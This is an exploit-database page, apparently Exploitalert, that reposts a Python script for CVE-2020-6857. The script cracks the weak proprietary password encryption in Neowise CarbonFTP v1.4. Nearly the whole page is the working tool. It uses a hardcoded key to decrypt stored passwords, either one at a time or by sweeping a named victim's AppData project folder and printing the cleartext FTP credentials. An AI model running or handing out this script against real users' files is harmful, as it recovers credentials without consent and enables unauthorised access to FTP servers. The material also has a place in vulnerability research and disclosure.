Advertisement






Neowise CarbonFTP v1.4 / Insecure Proprietary Password Encryption - v2 Exploit

CVE Category Price Severity
CVE-2020-6857 CWE-311 $300 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2020-04-22
CPE
cpe:cpe:/a:neowise:carbonftp:1.4
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020040139

Below is a copy:

Neowise CarbonFTP v1.4 / Insecure Proprietary Password Encryption - v2 Exploit
import time, string, sys, argparse, os, codecs

#Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.
#This should be compatible for Python 2 and 3 versions now, tested successfully.
#Sample test password 
#LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947 

key="97F"  #2431 in decimal, the weak hardcoded encryption key within the vuln program.
chunk_sz=5 #number of bytes we must decrypt the password by.

#Password is stored here:
#C:\Users\<VICTIM>\AppData\Roaming\Neowise\CarbonFTPProjects\<FILE>.CFTP

#Neowise CarbonFTP v1.4
#Insecure Proprietary Password Encryption
#By John Page (aka hyp3rlinx)
#Apparition Security
#===================================================

def carbonftp_conf(conf_file):
    p=""
    pipe=-1
    passwd=""
    lst_of_passwds=[]
    try:
        for p in conf_file:
            idx = p.find("Password=STRING|")
            if idx != -1:
                pipe = p.find("|")
                if pipe != -1:
                    passwd = p[pipe + 2: -2]
                    print(" Password found: "+ passwd)
                    lst_of_passwds.append(passwd) 
    except Exception as e:
        print(str(e))
    return lst_of_passwds 
    

def reorder(lst):
    k=1
    j=0
    for n in range(len(lst)):
        k+=1
        j+=1
        try:
            tmp = lst[n+k]
            a = lst[n+j]
            lst[n+j] = tmp
            lst[n+k] = a
        except Exception as e:
            pass
    return ''.join(lst)


def dec2hex(dec):
    tmp = str(hex(int(dec)))
    return str(tmp[2:])
 

#Updated for Python version compatibility.
def hex2ascii(h):
    h=h.strip()
    passwd=""
    try:
        passwd = codecs.decode(h, "hex").decode("ascii")
    except Exception as e:
        print("[!] In hex2ascii(), not a valid hex string.")
        exit()
    return passwd


def chunk_passwd(passwd_lst):
    lst = []
    for passwd in passwd_lst:
        while passwd:
            lst.append(passwd[:chunk_sz])
            passwd = passwd[chunk_sz:]
    return lst


def strip_non_printable_char(str):
  return ''.join([x for x in str if ord(x) > 31 or ord(x)==9])

cnt = 0
passwd_str=""
def deob(c):
    
    global cnt, passwd_str

    tmp=""

    try:
        tmp = int(c) - int(key, 16)
        tmp = dec2hex(tmp)
    except Exception as e:
        print("[!] Not a valid CarbonFTP encrypted password.")
        exit()

    b=""
    a=""

     #Seems we can delete the second char as its most always junk.
    if cnt!=1:
        a = tmp[:2]
        cnt+=1
    else:
        b = tmp[:4]
        
    passwd_str += strip_non_printable_char(hex2ascii(a + b))
    hex_passwd_lst = list(passwd_str)
    return hex_passwd_lst


def no_unique_chars(lst):
    c=0
    k=1
    j=0
    for i in range(len(lst)):
        k+=1
        j+=1
        try:
            a = lst[i]
            b = lst[i+1]
            if a != b:
                c+=1
            elif c==0:
                print("[!] Possible one char password?: " +str(lst[0]))
                return lst[0]
        except Exception as e:
            pass
    return False


def decryptor(result_lst):

    global passwd_str, sz

    print(" Decrypting ... \n")
    for i in result_lst:
        print("[-] "+i)
        time.sleep(0.1)
        lst = deob(i)

    #Re-order chars to correct sequence using custom swap function (reorder).
    reordered_pass = reorder(lst)
    sz = len(reordered_pass)

    #Flag possible single char password.
    no_unique_chars(lst)
    
    print("[+] PASSWORD LENGTH: " + str(sz))
    if sz == 9:
        return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-3] + " | " + reordered_pass[:-4] + " | " +
                reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+ reordered_pass[:-7] + " | " + reordered_pass)
    
    #Shorter passwords less then nine chars will have several candidates
    #as they get padded with repeating chars so we return those.
        
    passwd_str=""
    return reordered_pass


def display_cracked_passwd(sz, passwd):
    if sz==9:
        print("[*] PASSWORD CANDIDATES: "+ passwd + "\n")
    else:
        print("[*] DECRYPTED PASSWORD: "+passwd + "\n")


def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", help="Username to crack a directory of Carbon .CFTP password files")
    parser.add_argument("-p", "--encrypted_password", help="Crack a single encrypted password")
    return parser.parse_args()


def main(args):

    global passwd_str, sz
    victim=""

    if args.user and args.encrypted_password:
        print("[!] Supply a victims username -u or single encrypted password -p, not both.")
        exit()

    print("[+] Neowise CarbonFTP v1.4")
    time.sleep(0.1)
    print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")
    time.sleep(0.1)
    print("[+] Version 2 Exploit fixed for Python 3 compatibility")
    time.sleep(0.1)
    print("[+] Discovered and cracked by hyp3rlinx")
    time.sleep(0.1)
    print("[+] ApparitionSec\n")
    time.sleep(1)

    #Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.
    if args.user:
        victim = args.user
        os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")
        dir_lst = os.listdir(".")
        for c in dir_lst:
            f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r")
            #Get encrypted password from conf file
            passwd_enc = carbonftp_conf(f)
            #Break up into 5 byte chunks as processed by the proprietary decryption routine.
            result_lst = chunk_passwd(passwd_enc)
            #Decrypt the 5 byte chunks and reassemble to the cleartext password.
            cracked_passwd = decryptor(result_lst)
            #Print cracked password or candidates.
            display_cracked_passwd(sz, cracked_passwd)
            time.sleep(0.3)
            passwd_str=""
            f.close()


    #Crack a single password -p flag.
    if args.encrypted_password:
        passwd_to_crack_lst = []
        passwd_to_crack_lst.append(args.encrypted_password)
        result = chunk_passwd(passwd_to_crack_lst)
        #Print cracked password or candidates.
        cracked_passwd = decryptor(result)
        display_cracked_passwd(sz, cracked_passwd)


if __name__=="__main__":

    parser = argparse.ArgumentParser()

    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        exit()

    main(parse_args())

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum